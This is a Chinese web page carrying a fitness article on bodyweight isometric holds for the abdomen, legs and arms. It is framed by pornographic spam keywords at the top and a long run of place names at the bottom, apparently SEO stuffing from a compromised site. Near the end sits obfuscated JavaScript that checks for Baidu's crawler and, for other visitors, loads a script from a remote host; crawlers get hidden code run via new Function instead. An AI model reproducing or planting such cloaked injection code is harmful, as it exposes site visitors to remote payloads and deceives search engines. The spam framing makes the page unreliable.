亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 減肥 > 運(yùn)動(dòng)減肥 > 正文

男人如何徒手練腹肌?這幾招很不錯(cuò)!

2017-01-16 12:35:04  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:很多男人想要在家健身,無奈家里面既沒有杠鈴也沒有啞鈴等器械,更何況居住在大城市,很難找到磚塊或者石頭等替代品。其實(shí),徒手也有非常不

很多男人想要在家健身,無奈家里面既沒有杠鈴也沒有啞鈴等器械,更何況居住在大城市,很難找到磚塊或者石頭等替代品。其實(shí),徒手也有非常不錯(cuò)的鍛煉方式,尤其是腹肌的鍛煉,效果很不錯(cuò)呢!

腹部

(1)仰臥,腳踝部固定,上身坐起,上身與下肢間的角度大于90度,腹直肌極度繃緊,保持此靜止姿勢8~10秒或稍長時(shí)間,然后放松。

(2)仰臥,下肢和上身同時(shí)翹起成“V”字形,腹直肌極度繃緊,保持此靜止姿勢8~10秒或稍長時(shí)間,然后放松。

腿部

(1)半蹲,大腿保持水平,上身盡可能與地面垂直,兩臂交叉抱于胸前,股四頭肌極度繃緊,保持此姿勢8~10秒或稍長時(shí)間,然后放松。

(2)坐姿,腳尖點(diǎn)地,腳跟盡量抬起,小腿三頭肌極度繃緊,保持此姿勢8~10秒或稍長時(shí)間,然后放松。

臂部

(1)坐于桌前,兩手托住桌子下沿,上臂與前臂成90度角,好像要將桌子托起一樣,肱二頭肌極度繃緊,保持此靜止姿勢8~10秒或稍長時(shí)間,然后放松。

(2)直立,兩臂自然垂于體側(cè),兩手松握拳,手背朝后。兩臂直臂朝后上方抬起,上身可略前傾,兩臂抬至不能再抬為止,肱三頭肌極度繃緊,保持此靜止姿勢8~10秒或稍長時(shí)間,然后放松。

(3)立姿或坐姿,兩臂下垂,兩手握拳,手背朝后。手腕盡力彎起,前臂肌肉極度繃緊,保持此靜止姿勢8~10秒或稍長時(shí)間。然后放松。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
张北县| 通辽市| 策勒县| 永福县| 房产| 蓝田县| 虹口区| 鹤山市| 南丰县| 辽阳县| 虹口区| 荆门市| 遂溪县| 辽阳县| 安义县| 沅江市| 平度市| 安陆市| 嘉义县| 盐池县| 永安市| 海兴县| 景泰县| 栾城县| 宾阳县| 涟源市| 兴安县| 稻城县| 玉田县| 织金县| 文山县| 龙游县| 伊宁县| 锡林郭勒盟| 西藏| 吉安县| 和龙市| 高雄县| 吕梁市| 观塘区| 潍坊市|